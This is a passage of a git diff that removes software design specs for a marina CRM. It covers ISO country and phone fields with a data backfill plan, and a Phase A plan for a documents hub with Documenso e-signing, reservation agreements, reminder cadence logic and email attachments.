||||
ALTER TABLE residential_clients ADD COLUMN phone_e164 text;
|
||||
ALTER TABLE residential_clients ADD COLUMN phone_country text;
|
||||
|
||||
-- companies
|
||||
ALTER TABLE companies ADD COLUMN incorporation_country_iso text;
|
||||
```
|
||||
|
||||
Indexes: `idx_clients_nationality_iso`, `idx_clients_timezone` (cheap; powers analytics filters later).
|
||||
|
||||
## Component primitives
|
||||
|
||||
```tsx
|
||||
<CountryCombobox
|
||||
value={iso} // 'GB' | undefined
|
||||
onChange={(iso) => …}
|
||||
locale="en" // for name lookup; default to navigator.language
|
||||
variant="default" | "compact" // compact = icon-only flag, default = name
|
||||
/>
|
||||
|
||||
<PhoneInput
|
||||
value={e164} // '+442079460958'
|
||||
onChange={({ e164, country }) => …}
|
||||
defaultCountry={'GB'} // pre-selects the dropdown
|
||||
required={false}
|
||||
/>
|
||||
|
||||
<TimezoneCombobox
|
||||
value={iana} // 'Europe/London'
|
||||
onChange={(iana) => …}
|
||||
countryHint={'GB'} // when set, narrows the dropdown to matching zones first
|
||||
/>
|
||||
```
|
||||
|
||||
All three are shadcn-styled, keyboard-accessible, support form integration with react-hook-form + zod.
|
||||
|
||||
## Validators
|
||||
|
||||
```ts
|
||||
// src/lib/validators/contact.ts
|
||||
import { isValidPhoneNumber } from 'libphonenumber-js';
|
||||
|
||||
export const phoneE164Schema = z
|
||||
.string()
|
||||
.refine((v) => isValidPhoneNumber(v), 'Invalid phone number');
|
||||
|
||||
export const isoCountrySchema = z
|
||||
.string()
|
||||
.length(2)
|
||||
.toUpperCase()
|
||||
.refine((c) => ISO_COUNTRIES.has(c), 'Unknown country');
|
||||
|
||||
export const ianaTimezoneSchema = z
|
||||
.string()
|
||||
.refine((tz) => Intl.supportedValuesOf('timeZone').includes(tz), 'Unknown timezone');
|
||||
```
|
||||
|
||||
## Backfill plan
|
||||
|
||||
A migration script (`scripts/backfill-iso-and-e164.ts`) that:
|
||||
|
||||
1. For each client/residential_client, attempt `libphonenumber-js` `parsePhoneNumber(rawPhone, { defaultCountry: 'PL' })` → if valid, write `phone_e164` + `phone_country`.
|
||||
2. For each free-text `nationality`, fuzzy-match against the country name list (exact match first, then Levenshtein ≤2). Write `nationality_iso` if confident.
|
||||
3. For each timezone, exact-match against IANA list. Otherwise leave null and let user fill it.
|
||||
4. Log unparseable rows to `backfill-iso-report.csv` for manual review.
|
||||
|
||||
Run on staging first; require dry-run flag.
|
||||
|
||||
## Build sequence
|
||||
|
||||
| # | PR | Effort | Depends on |
|
||||
| --- | ------------------------------------------------------------ | ------ | ---------- |
|
||||
| 1 | Country list JSON + ISO sets + `<CountryCombobox>` primitive | 0.5d | — |
|
||||
| 2 | `libphonenumber-js` integration + `<PhoneInput>` primitive | 1d | — |
|
||||
| 3 | Country → timezone JSON + `<TimezoneCombobox>` primitive | 0.5d | 1 |
|
||||
| 4 | Schema deltas + drizzle migrations + zod validators | 0.5d | — |
|
||||
| 5 | Wire into ClientForm + ClientDetail inline editors | 1d | 1, 2, 3, 4 |
|
||||
| 6 | Wire into ResidentialClientDetail | 0.5d | 5 |
|
||||
| 7 | Wire into CompanyForm | 0.5d | 1 |
|
||||
| 8 | Public inquiry form template renderer support | 0.5d | 2 |
|
||||
| 9 | Backfill script + dry-run runbook | 1d | 4 |
|
||||
| 10 | Smoke + integration tests | 1d | 5–9 |
|
||||
|
||||
Total: ~7 dev days. Self-contained; no external dependencies on Phase B (analytics/alerts).
|
||||
|
||||
## Risk register
|
||||
|
||||
| Risk | Mitigation |
|
||||
| --------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
|
||||
| Bundle bloat from libphonenumber data | Use the `mobile` metadata build, lazy-import via `next/dynamic` |
|
||||
| Existing free-text data is too messy to backfill | Keep the legacy column for one release; expose a "needs review" badge in admin |
|
||||
| Multi-zone country UX confusion | Sub-select only appears when country is multi-zone; otherwise zone is hidden behind "Override" |
|
||||
| Public inquiry form breaks if phone is required and user can't find their country | Default to PL, search by country name and dial code |
|
||||
|
||||
## Open questions for the user
|
||||
|
||||
- Which port's locale should drive the _default_ country in `<PhoneInput>` (Poland for now, or detect from browser)?
|
||||
- Should existing free-text `nationality` field be removed once backfilled, or kept indefinitely as a fallback?
|
||||
- Is there an appetite for adding the same treatment to subdivision (state/region/voivodship) selectors, or strictly country-level for now?
|
||||
@@ -1,775 +0,0 @@
|
||||
# Documents Hub, Reservation Agreements, and Visual Polish (Phase A)
|
||||
|
||||
**Status:** Draft — awaiting final review
|
||||
**Date:** 2026-04-28
|
||||
**Phase:** A of D (B = Insights & Alerts; C = Website integration; D = Pre-prod ops)
|
||||
|
||||
## Overview
|
||||
|
||||
Phase A delivers a unified Documents Hub that tracks every signature-based document (EOI, Reservation Agreements, NDAs, ad-hoc uploads), generalises the existing single-purpose EOI dialog into a multi-format create-document wizard, builds the missing CRM-side reservation detail page with an end-to-end agreement workflow, polishes the reminder framework so non-EOI docs auto-remind correctly, and applies a system-wide visual upgrade to the polished-SaaS aesthetic the project already has tokens for.
|
||||
|
||||
The project already ships a usable CRM with auth, multi-tenancy, full client/yacht/company/interest/berth/reservation data model, an EOI dual-path (Documenso template + in-app PDF), socket-driven real-time updates, and 130 smoke specs. What's missing for the next release: a single place to see what documents need signing and chase the people who haven't signed.
|
||||
|
||||
## Scope boundaries
|
||||
|
||||
### In scope (this spec)
|
||||
|
||||
- New `/[port]/documents` hub page replacing the existing list
|
||||
- New `/[port]/documents/[id]` document detail page
|
||||
- Generalised create-document wizard supporting four template formats (HTML, PDF AcroForm fillable, PDF overlay-positioned, Documenso-rendered) plus ad-hoc PDF upload
|
||||
- New `/[port]/berth-reservations/[id]` reservation detail page with agreement-generation flow
|
||||
- Reservation Agreement as a first-class document type with default template seeded
|
||||
- Email composer extended with attachments and a System-vs-User From selector (admin-gated)
|
||||
- Reminder framework: per-template cadence, per-doc override, per-doc disable, per-signer manual reminders
|
||||
- Documenso version-aware abstraction layer covering field placement and document voiding across v1.13.1 and v2.x
|
||||
- System-wide visual polish: shadow scale, gradient layer, animation tokens, primitive components (`<StatusPill>`, `<KPITile>`, `<EmptyState>`, polished `<PageHeader>`), applied across all list and detail pages
|
||||
- Mobile-responsive sweep across every page touched
|
||||
- Comprehensive test coverage: unit, integration, smoke, exhaustive click-through, real-API round-trips, visual baseline regeneration
|
||||
|
||||
### Explicitly out of scope (deferred to later phases)
|
||||
|
||||
- Analytics dashboard, alert framework, interests-by-berth view, expense duplicate detection (Phase B)
|
||||
- Website-side integration: `/api/form/[token]/data` prefill endpoint, `/api/webhook/document-signed` callback receiver, public-endpoint shape compat (Phase C)
|
||||
- NocoDB to Postgres data migration, email deliverability (DKIM/SPF/DMARC), Sentry error reporting, audit log retention, performance baseline at 5k clients / 50k interests, backup/restore automation, production deploy readiness (Phase D)
|
||||
- Native in-CRM PDF field-placement editor (deferred until upload-path pain emerges; Phase A v1 ships with auto-placed footer signature fields and a "Customize fields in Documenso" link)
|
||||
- Word `.docx` template upload (deferred; PDF prioritized because Word adds LibreOffice/CloudConvert toolchain dependency without saving the field-placement step)
|
||||
- Per-interest "silence all reminders" toggle (was implicit in old `interests.reminderEnabled` gating which this spec drops; can be re-added as a bulk action if anyone misses it)
|
||||
|
||||
## Information architecture
|
||||
|
||||
### URL surface
|
||||
|
||||
```
|
||||
/[port]/documents hub (replaces existing list)
|
||||
/[port]/documents/[id] document detail (new)
|
||||
/[port]/documents/new create-document wizard (new)
|
||||
/[port]/berth-reservations/[id] reservation detail (new)
|
||||
/[port]/admin/templates existing; extended for new template formats
|
||||
/[port]/admin/email existing; one new toggle
|
||||
```
|
||||
|
||||
### Schema deltas
|
||||
|
||||
```
|
||||
documents — additions:
|
||||
+ reservation_id text null references berth_reservations(id)
|
||||
+ reminders_disabled boolean default false
|
||||
+ reminder_cadence_override int null
|
||||
|
||||
document_templates — additions:
|
||||
+ reminder_cadence_days int null (null = no auto-reminders)
|
||||
+ template_format text default 'html' ('html'|'pdf_form'|'pdf_overlay'|'documenso_render')
|
||||
+ source_file_id text null references files(id)
|
||||
+ documenso_template_id text null
|
||||
+ field_mapping jsonb default '{}' (pdf_form: { acroFieldName: mergeToken })
|
||||
+ overlay_positions jsonb default '[]' (pdf_overlay: [{token, page, x, y, fontSize}])
|
||||
|
||||
document_templates.body_html — relax to nullable (only required when template_format='html')
|
||||
|
||||
document_watchers — new table:
|
||||
document_id text not null references documents(id) on delete cascade
|
||||
user_id text not null references users(id)
|
||||
added_by text not null references users(id)
|
||||
added_at timestamptz default now()
|
||||
primary key (document_id, user_id)
|
||||
|
||||
documents indexes — additions:
|
||||
+ idx_docs_reservation on (reservation_id)
|
||||
+ idx_docs_status_port on (port_id, status) — powers tab counts cheaply
|
||||
|
||||
document_watchers indexes:
|
||||
+ idx_doc_watchers_doc on (document_id)
|
||||
+ idx_doc_watchers_user on (user_id)
|
||||
|
||||
documents.documentType enum — already includes 'reservation_agreement'; no migration needed
|
||||
documents.status enum — already accepts 'expired'; no migration needed
|
||||
documentSigners.status enum — pending|signed|declined; no migration needed
|
||||
```
|
||||
|
||||
Backfill (one statement, safe to run in same migration):
|
||||
|
||||
```sql
|
||||
UPDATE document_templates SET reminder_cadence_days = 1 WHERE template_type = 'eoi';
|
||||
```
|
||||
|
||||
This preserves the existing 1-day-effective reminder cadence for existing EOI templates. Admins can edit per-template later.
|
||||
|
||||
After running migration on a dev/staging server, restart `next dev` to flush postgres.js prepared-statement cache (existing project convention).
|
||||
|
||||
### Polymorphic ownership pattern
|
||||
|
||||
Documents already use the multi-FK pattern (`interest_id`, `client_id`, `yacht_id`, `company_id` as separate nullable columns). Adding `reservation_id` matches this. No conversion to polymorphic discriminator columns despite yachts and invoices using that pattern; staying consistent with the existing documents shape avoids a destructive migration.
|
||||
|
||||
### Service-layer changes
|
||||
|
||||
- `documents.service.ts`:
|
||||
- `createFromWizard(portId, data, meta)` — dispatches across template/upload paths
|
||||
- `createFromUpload(portId, data, meta)` — new upload-driven path; calls Documenso `createDocument`, stores file in MinIO via `files` service, mirrors to `documents` + `documentSigners`, optionally calls `sendDocument` if `sendImmediately`
|
||||
- `cancelDocument(documentId, portId, meta)` — user-initiated cancel; calls Documenso void, updates DB status, logs event
|
||||
- `composeSignedDocEmail(documentId, portId)` — returns prefilled `{ to, cc, subject, body, attachments, defaultSenderType }` for the composer
|
||||
- `getDocumentDetail(id, portId)` — single-roundtrip aggregator returning doc + signers + events + watchers + linked-entity summary
|
||||
|
||||
- `document-templates.ts`:
|
||||
- `generateAndSign` extended for new `template_format` values
|
||||
- `fillAcroForm(sourceFile, fieldMapping, mergeContext)` — pdf-lib AcroForm fill
|
||||
- `drawOverlay(sourceFile, overlayPositions, mergeContext)` — pdf-lib text-draw at positions
|
||||
- Documenso-render path uses existing `generateDocumentFromTemplate`
|
||||
|
||||
- `documenso-client.ts`:
|
||||
- `placeFields(docId, fields, portId?)` — version-aware bulk field placement
|
||||
- `placeDefaultSignatureFields(docId, recipientIds, portId?)` — auto-position one SIGNATURE per recipient at footer
|
||||
- `voidDocument(docId, portId?)` — version-aware doc void/delete
|
||||
- Coordinate normalization helpers (caller passes percent 0-100; converted to pixels for v1 using cached page dimensions)
|
||||
|
||||
- `document-reminders.ts`:
|
||||
- `sendReminderIfAllowed(documentId, portId, options?)` — extended signature with optional `signerId` and `auto: boolean`
|
||||
- `processReminderQueue(portId)` — query rewritten around `documents.reminder_cadence_override ?? template.reminder_cadence_days`; drops `interests.reminderEnabled` gating
|
||||
|
||||
- `notifications.service.ts`:
|
||||
- `notifyDocumentEvent(docId, eventType)` — fans out to creator + entity-assignee + watchers; existing socket events keep firing
|
||||
|
||||
- New: `reservation-agreement-context.ts`:
|
||||
- `buildReservationAgreementContext(reservationId, portId)` — joins reservation -> client + yacht + berth -> port; returns context shape for template merge
|
||||
|
||||
- `email-compose.service.ts`:
|
||||
- Validator extended: `{ senderType: 'system'|'user', accountId? (when user), attachments[] }`
|
||||
- System path: calls `lib/email/index.ts → sendEmail()` with `portId` + attachments; logs `documentEvents` row `signed_doc_emailed`; skips `email_messages`/`email_threads` writes
|
||||
- User path: existing flow, with attachments resolution from `files` table
|
||||
- Port-isolation: cross-port `fileId` returns 403
|
||||
|
||||
- `lib/email/index.ts`:
|
||||
- `SendEmailOptions.attachments?: Array<{ fileId, filename? }>` — fetches files from MinIO, passes to nodemailer
|
||||
|
||||
## Documents hub page
|
||||
|
||||
Replaces existing `/[port]/documents` list.
|
||||
|
||||
### Layout
|
||||
|
||||
```
|
||||
[ Header strip: title, KPI sub-line, "+ New document" button ]
|
||||
|
||||
[ Tabs: All | Awaiting them (count) | Awaiting me (count) | Completed | Expired ]
|
||||
|
||||
[ Search · Type · Status · Sent · Watcher filter chips · saved-view selector · overflow ]
|
||||
|
||||
[ Table:
|
||||
checkbox | Document | Type pill | Subject pill | Status (X/Y signed + dot) | Sent
|
||||
▾ expand row inline to show signers + watchers strip
|
||||
]
|
||||
|
||||
[ Sticky bulk-action bar appears when ≥1 row checked:
|
||||
"N selected" | Remind unsigned | Cancel | Export | pagination
|
||||
]
|
||||
```
|
||||
|
||||
### Tab queries
|
||||
|
||||
- All — every document in port
|
||||
- Awaiting them — `status IN ('sent','partially_signed')` AND has pending signer != current user
|
||||
- Awaiting me — at least one `documentSigners` row matching `signer_email = current user email` AND `status = 'pending'`
|
||||
- Completed — `status IN ('completed','signed')`
|
||||
- Expired — `status = 'expired'` OR (`status IN ('sent','partially_signed')` AND `expires_at < now()`)
|
||||
|
||||
Counts run cheap thanks to `idx_docs_status_port`.
|
||||
|
||||
### Filters and saved views
|
||||
|
||||
- Search: fuzzy match on title, subject name, signer email
|
||||
- Type: multi-select doc types
|
||||
- Status: multi-select status enum
|
||||
- Sent: date-range chips (Today, 7d, 30d, custom)
|
||||
- Watcher: filter by watching user
|
||||
- "Signature-based only" chip defaults to ON; toggle off to see non-signed docs (welcome letters etc.) as well, rendered with a "Delivered" pill
|
||||
- Saved-view integration: filter combos save to existing `saved_views` table
|
||||
|
||||
### Row anatomy
|
||||
|
||||
- Collapsed: name (links to detail), type pill (colored per type), subject pill (links to entity), status indicator (X/Y signed with progress dot), sent age
|
||||
- Expanded: per-signer rows with email, status pill, sent timestamp, signed timestamp, `[Remind]` and overflow `[...]` (resend invite, copy signing link, skip — skip is UI-only flag, not implemented in v1)
|
||||
- Watchers strip at bottom of expansion: chips + `+ Add watcher` autocomplete
|
||||
- Hover: row gets soft brand-soft gradient bg
|
||||
|
||||
### Real-time
|
||||
|
||||
Subscribes to existing `documents.service.ts`-emitted socket events: `document:created`, `document:updated`, `document:deleted`, `document:sent`, `document:completed`, `document:expired`, `document:cancelled`, `document:rejected`, `document:signer:signed`, `document:signer:opened`. All already fire today.
|
||||
|
||||
### Empty states
|
||||
|
||||
- No docs yet: illustration + 1-line explanation + `[+ New document]` CTA
|
||||
- Filtered empty: "No docs match these filters. Clear filters?"
|
||||
|
||||
### Mobile (< 768px)
|
||||
|
||||
- Tabs collapse into `<select>`
|
||||
- Filters collapse behind `[Filters]` button into a sheet
|
||||
- Rows stack as cards: title + status + age, expand to show signers
|
||||
- "+ New document" floats as FAB bottom-right
|
||||
|
||||
## Document detail page
|
||||
|
||||
New `/[port]/documents/[id]` page. No detail page exists today.
|
||||
|
||||
### Layout
|
||||
|
||||
```
|
||||
[ Breadcrumb: All documents ]
|
||||
|
||||
[ Header strip with gradient: title (editable inline), type pill, status pill, subtitle (subject link, creator, age) ]
|
||||
|
||||
[ Action bar — context-aware ]
|
||||
|
||||
[ Two-column body:
|
||||
Left (2fr):
|
||||
Signers panel (vertical list, replaces existing horizontal SigningProgress)
|
||||
Linked entity card
|
||||
Right (1fr):
|
||||
Watchers panel (chips + add)
|
||||
Activity timeline (from documentEvents)
|
||||
Notes (auto-saving editable text)
|
||||
Preview (PDF; tabbed Original/Signed when completed)
|
||||
]
|
||||
```
|
||||
|
||||
### Action bar by status
|
||||
|
||||
- `draft` — `[Send for signing]` `[Edit signers]` `[Delete]`
|
||||
- `sent | partially_signed` — `[Send reminder to all]` `[Resend invite]` `[Cancel]`
|
||||
- `completed` — `[Download signed PDF]` `[Email signed PDF to all signatories]`
|
||||
- `cancelled | rejected | expired` — `[Duplicate]`
|
||||
- Always `[...]` overflow: Duplicate, Move to other entity, View Documenso URL, Audit log
|
||||
|
||||
### Signers panel (vertical, replaces horizontal stepper)
|
||||
|
||||
Per-row:
|
||||
|
||||
- Numbered status circle (pending grey, signed green, declined red)
|
||||
- Name, email, role
|
||||
- Sent age, last-reminded age, signed timestamp
|
||||
- `[Remind]` button — disabled with countdown if cooldown active (24h-or-cadence) for auto mode; bypassed in manual mode
|
||||
- `[Copy signing link]` — copies `signingUrl` (hosted Documenso); overflow offers "Copy embed link" if `embeddedUrl` present (used by website embed at `/sign/[type]/[token]`)
|
||||
- `[...]` overflow: Resend invite, View signing history, Replace email (draft only)
|
||||
- Sequential mode: only current pending signer's `[Remind]` active; others greyed with tooltip
|
||||
|
||||
### Send-signed-PDF email flow
|
||||
|
||||
Action visible only when `status='completed' AND signedFileId IS NOT NULL`.
|
||||
|
||||
Click opens email composer drawer prefilled:
|
||||
|
||||
- From: dropdown defaulting to System (port-config noreply identity); Personal accounts available only when port admin enables `email.allowPersonalAccountSends`
|
||||
- To: union of `documentSigners.signerEmail` for the doc
|
||||
- Cc: empty; "Cc watchers" toggle adds users from `document_watchers`
|
||||
- Subject: `"Signed {document type} — {document title}"`
|
||||
- Body: from `signed_doc_completion` per-port template (new template type; default seeded for new ports)
|
||||
- Attachments: signed PDF auto-attached from `documents.signedFileId` (chip with filename + size; removable)
|
||||
|
||||
Send dispatch:
|
||||
|
||||
- System path: `lib/email/index.ts → sendEmail()` with portId + attachments; writes `documentEvents` row; skips email_messages/threads writes (no IMAP sync expected)
|
||||
- User path: `email-compose.service.ts` existing flow; writes email_messages + thread; subject to `allowPersonalAccountSends` gate (server-side enforces 403 on user senderType when toggle off)
|
||||
|
||||
### Backend additions
|
||||
|
||||
- `POST /api/v1/documents/[id]/cancel` — calls `cancelDocument` service; service calls Documenso void via new client function
|
||||
- `POST /api/v1/documents/[id]/remind` — accepts optional `{ signerId }`; passes `auto: false` to service
|
||||
- `GET /api/v1/documents/[id]/watchers` — list
|
||||
- `POST /api/v1/documents/[id]/watchers` — add `{ userId }`
|
||||
- `DELETE /api/v1/documents/[id]/watchers/[userId]` — remove
|
||||
- `POST /api/v1/documents/[id]/compose-completion-email` — returns prefilled draft
|
||||
|
||||
## Create-document wizard
|
||||
|
||||
Replaces `<EoiGenerateDialog>`. Single drawer/dialog, three steps.
|
||||
|
||||
### Step 1 — Type and source
|
||||
|
||||
```
|
||||
Render: ● Generate the PDF here (using template format below)
|
||||
○ Use a Documenso-stored template (Documenso renders + signs)
|
||||
|
||||
Format (when "Generate the PDF here" selected):
|
||||
● HTML (write inline)
|
||||
○ PDF (AcroForm fillable upload)
|
||||
○ PDF (overlay positioning)
|
||||
|
||||
Template: [ pick from port's templates of selected format ]
|
||||
OR
|
||||
Upload PDF: [ drop or pick file; preview renders inline ]
|
||||
|
||||
Document type: [ auto-derived from template, or picked from DOCUMENT_TYPES enum ]
|
||||
```
|
||||
|
||||
Signing destination is always Documenso. The "Render in CRM" vs "Render in Documenso" axis is about PDF generation only.
|
||||
|
||||
### Step 2 — Recipients
|
||||
|
||||
```
|
||||
Attached to: [ Interest #142 — Smith family Change ]
|
||||
↑ pre-filled if launched from a detail page
|
||||
|
||||
Signers: (hidden for documenso-render path; signers embedded in template)
|
||||
① name email role [✕]
|
||||
② name email role [✕]
|
||||
[+ Add signer] (autocomplete from clients/companies/users; or manual entry)
|
||||
Drag to reorder; signing-order assigned by row position
|
||||
|
||||
Signing mode: ● Sequential ○ Parallel
|
||||
|
||||
Watchers (optional): [chips] [+ Add watcher] (CRM users)
|
||||
|
||||
Reminder cadence:
|
||||
● Use template default (every 7 days)
|
||||
○ Override: [_____] days
|
||||
○ Disable for this document
|
||||
|
||||
[ For upload path only ]
|
||||
☑ Auto-place signature fields at footer (default; refine later in Documenso)
|
||||
```
|
||||
|
||||
### Step 3 — Review and send
|
||||
|
||||
```
|
||||
Title: [ EOI — Smith family ____________ ] (editable; default rendered from merge tokens)
|
||||
Notes (internal): [_____________]
|
||||
Preview: [ rendered PDF inline · 4 pages · scrollable ]
|
||||
Signing-order banner (multi-signer in-app/upload only): "Sequential — Carol must sign before Bob" [Switch to parallel]
|
||||
[← Back] [Save as draft] [Send →]
|
||||
```
|
||||
|
||||
Save as draft → status='draft'; `[Send for signing]` available later from detail page. Send → calls Documenso, status='sent', socket event fires.
|
||||
|
||||
### Documenso version-aware field placement
|
||||
|
||||
For upload path, `placeDefaultSignatureFields` auto-positions one SIGNATURE per recipient at last-page footer (staggered to avoid overlap). User can refine in Documenso via "Customize fields in Documenso" link on detail page.
|
||||
|
||||
`placeFields` and `placeDefaultSignatureFields` in `documenso-client.ts` hide v1/v2 differences:
|
||||
|
||||
- v1: `POST /api/v1/documents/{id}/fields` per field; pixel coordinates; requires page dimension lookup
|
||||
- v2: `POST /api/v2/envelope/field/create-many` bulk; percentage 0-100 coordinates; rich `fieldMeta`
|
||||
- Caller passes percentage; abstraction converts for v1 using cached page dimensions
|
||||
|
||||
### `createDocumentSchema` extension
|
||||
|
||||
```ts
|
||||
export const createDocumentSchema = z.object({
|
||||
source: z.enum(['template', 'upload']),
|
||||
templateId: z.string().uuid().optional(),
|
||||
uploadedFileId: z.string().uuid().optional(),
|
||||
|
||||
documentType: z.enum(DOCUMENT_TYPES),
|
||||
title: z.string().min(1).max(200),
|
||||
notes: z.string().optional(),
|
||||
|
||||
// Subject (exactly one required)
|
||||
interestId: z.string().uuid().optional(),
|
||||
reservationId: z.string().uuid().optional(),
|
||||
clientId: z.string().uuid().optional(),
|
||||
companyId: z.string().uuid().optional(),
|
||||
yachtId: z.string().uuid().optional(),
|
||||
|
||||
// Signers (required when render=in-app or source=upload)
|
||||
signers: z.array(z.object({
|
||||
signerName: z.string().min(1),
|
||||
signerEmail: z.string().email(),
|
||||
signerRole: z.enum(['client', 'sales', 'approver', 'developer', 'other']),
|
||||
signingOrder: z.number().int().min(1),
|
||||
})).optional(),
|
||||
signingMode: z.enum(['sequential', 'parallel']).default('sequential'),
|
||||
|
||||
pathway: z.enum(['documenso-template', 'inapp', 'upload']).optional(),
|
||||
|
||||
watchers: z.array(z.string().uuid()).optional(),
|
||||
|
||||
reminderCadenceOverride: z.number().int().min(1).max(365).nullable().optional(),
|
||||
remindersDisabled: z.boolean().default(false),
|
||||
|
||||
autoPlaceFields: z.boolean().default(true),
|
||||
|
||||
sendImmediately: z.boolean().default(true),
|
||||
}).refine(...one-subject-FK-required...);
|
||||
```
|
||||
|
||||
## Template formats
|
||||
|
||||
### Authoring paths
|
||||
|
||||
| Format | Authoring | Merge fields | Best for |
|
||||
| ---------------------------- | ------------------------------------------------------------------------------------------- | --------------------------------------------------- | ------------------------------------------------ |
|
||||
| HTML (existing) | Inline rich-text editor with merge tokens | Server-side substitution, rendered to PDF via pdfme | Welcome letters, acknowledgments, correspondence |
|
||||
| PDF (AcroForm fillable) | Admin uploads fillable PDF; UI scans AcroForm field names; admin maps each to a merge token | pdf-lib fills form at gen time | EOI, Reservation Agreement, NDA |
|
||||
| PDF (overlay positioning) | Admin uploads any PDF; UI specifies merge token positions per page+x+y+fontSize | pdf-lib draws text over PDF at positions | Quick wins where preparing AcroForm is overkill |
|
||||
| Documenso template reference | Admin enters Documenso template ID + label | None in CRM; Documenso owns it | Documenso-rendered signing flows |
|
||||
|
||||
### Generator dispatch
|
||||
|
||||
```ts
|
||||
switch (template.template_format) {
|
||||
case 'html': generatePdf(template.body_html, mergeContext);
|
||||
case 'pdf_form': fillAcroForm(template.source_file_id, template.field_mapping, mergeContext);
|
||||
case 'pdf_overlay': drawOverlay(template.source_file_id, template.overlay_positions, mergeContext);
|
||||
case 'documenso_render': documenso.generateDocumentFromTemplate(template.documenso_template_id, ...);
|
||||
}
|
||||
```
|
||||
|
||||
All four formats end at Documenso for signing — only PDF generation location differs. Non-signature templates (welcome letters etc.) skip the upload-to-Documenso step entirely; they render to PDF then get emailed.
|
||||
|
||||
### Admin template editor extension
|
||||
|
||||
Format picker added to `/admin/templates` editor:
|
||||
|
||||
- For PDF (AcroForm): file upload field, then two-column mapping UI (AcroForm field names ↔ merge tokens autocomplete from existing `MERGE_FIELDS` catalog)
|
||||
- For PDF (overlay): file upload, then per-token form with page/x/y/fontSize inputs (visual placement editor deferred)
|
||||
- For Documenso template: single text input + Test connection button calling `getDocumensoTemplate`
|
||||
- For HTML: existing inline editor unchanged
|
||||
|
||||
### Word (.docx) deferred
|
||||
|
||||
Reasons: LibreOffice headless adds significant install/memory/security surface; CloudConvert adds paid dependency and third-party data exposure; `docxtemplater` merge syntax incompatible with existing `{{token}}` convention; field placement still needs PDF flow afterwards. If marinas push back, the feasible path is `.docx → server-side conversion → PDF → existing AcroForm/overlay flow`. Not worth the engineering until requested.
|
||||
|
||||
## Reservation agreements as a doc type
|
||||
|
||||
### What differs from EOI's pattern
|
||||
|
||||
| Aspect | EOI | Reservation Agreement |
|
||||
| --------------------- | ----------------------------- | ------------------------------------------------------------------------------------------ |
|
||||
| Subject FK | `interestId` | `reservationId` |
|
||||
| Default template | Documenso EOI per port | Documenso reservation_agreement per port (seeded) |
|
||||
| Default signers | client + sales/approver | client + port admin |
|
||||
| Trigger | Manual on interest detail | Manual on reservation detail |
|
||||
| Lifecycle integration | None | Active reservations without an agreement get flagged in dashboard alert |
|
||||
| Final-PDF storage | `documents.signedFileId` only | `documents.signedFileId` AND mirrored to `berth_reservations.contractFileId` on completion |
|
||||
|
||||
### New CRM-side reservation detail page
|
||||
|
||||
`/[port]/berth-reservations/[id]` doesn't exist today (only the portal's `/portal/my-reservations`). Phase A builds it.
|
||||
|
||||
Layout:
|
||||
|
||||
```
|
||||
[ Header: "Reservation #88 · M/Y Tate" status pill subtitle: berth, client, dates, tenure ]
|
||||
[ Action bar: Activate | Generate agreement | Cancel | ... ]
|
||||
[ Two columns:
|
||||
Left: Reservation details card
|
||||
Linked interest card
|
||||
Activity timeline
|
||||
Right: Agreement card (state-dependent: no agreement / in-flight / completed)
|
||||
]
|
||||
```
|
||||
|
||||
Agreement card states:
|
||||
|
||||
- No agreement yet: warning + `[Generate agreement →]`
|
||||
- In-flight (sent/partially_signed): "X/Y signed", per-signer status, `[View document →]` `[Send reminder]` `[Cancel]`
|
||||
- Completed: "Completed YYYY-MM-DD", `[Download signed PDF]` `[Email to all signatories]`, "Signed contract attached to reservation."
|
||||
|
||||
Generate-agreement button launches the wizard with prefills:
|
||||
|
||||
- `documentType='reservation_agreement'`
|
||||
- `templateId=<port's default>`
|
||||
- `reservationId=<current>`
|
||||
- Default signers from linked client + configurable port-admin user
|
||||
- Wizard step 1 pre-validated; user lands on step 2
|
||||
|
||||
### Backend additions
|
||||
|
||||
- Merge field catalog extended in `src/lib/templates/merge-fields.ts`:
|
||||
- `{{reservation.startDate}}` `{{reservation.endDate}}` `{{reservation.tenureType}}` `{{reservation.termSummary}}` `{{reservation.signedDate}}`
|
||||
- New service `reservation-agreement-context.ts.buildReservationAgreementContext(reservationId, portId)`
|
||||
- New seeder for default `reservation_agreement` template on port creation (HTML format; admins can switch to AcroForm/overlay later); template stored at `assets/templates/reservation-agreement-default.html`
|
||||
- Webhook handler extension: `handleDocumentCompleted` detects `documentType='reservation_agreement'` and sets `berth_reservations.contractFileId = doc.signedFileId` for the linked reservation
|
||||
- Dashboard alert query: active reservations without a completed agreement (LEFT JOIN against documents filtered on type+status); rows surface as a warning card
|
||||
|
||||
### Trade-off
|
||||
|
||||
`berth_reservations.contractFileId` becomes a denormalized convenience pointer duplicated with `documents.signedFileId` for the linked reservation. Updating it on completion costs one extra UPDATE. Benefit: anyone querying reservations directly (portal "My Reservations") doesn't need to join through documents to know which file is the contract.
|
||||
|
||||
## Reminder framework polish
|
||||
|
||||
### Problems with today's logic
|
||||
|
||||
1. Eligibility gated by `interests.reminderEnabled` — reservation agreements, NDAs, ad-hoc upload docs (no interest link) never auto-remind
|
||||
2. Hardcoded 24h cooldown — effective cadence is 1 day; can't slow down for low-urgency docs
|
||||
3. Always reminds lowest-pending signer — parallel-signing docs can't nudge a specific signer
|
||||
4. No per-doc disable
|
||||
|
||||
### New eligibility logic
|
||||
|
||||
```
|
||||
function isReminderDue(doc, template, lastReminderAt) {
|
||||
if (!['sent','partially_signed'].includes(doc.status)) return false;
|
||||
if (doc.documenso_id == null) return false;
|
||||
if (doc.reminders_disabled) return false;
|
||||
|
||||
const effectiveCadence = doc.reminder_cadence_override ?? template.reminder_cadence_days;
|
||||
if (effectiveCadence === null) return false;
|
||||
|
||||
if (lastReminderAt == null) return true;
|
||||
return (now - lastReminderAt) >= effectiveCadence * 24h;
|
||||
}
|
||||
```
|
||||
|
||||
`processReminderQueue` query rewritten:
|
||||
|
||||
```sql
|
||||
SELECT d.* FROM documents d
|
||||
LEFT JOIN document_templates t ON t.id = d.template_id
|
||||
WHERE d.port_id = $1
|
||||
AND d.status IN ('sent','partially_signed')
|
||||
AND d.documenso_id IS NOT NULL
|
||||
AND d.reminders_disabled = false
|
||||
AND COALESCE(d.reminder_cadence_override, t.reminder_cadence_days) IS NOT NULL;
|
||||
```
|
||||
|
||||
`interests.reminderEnabled` is dropped from the gating logic but the column stays for now (no migration). Future cleanup PR can drop the column.
|
||||
|
||||
### `sendReminderIfAllowed` extended signature
|
||||
|
||||
```ts
|
||||
export async function sendReminderIfAllowed(
|
||||
documentId: string,
|
||||
portId: string,
|
||||
options: {
|
||||
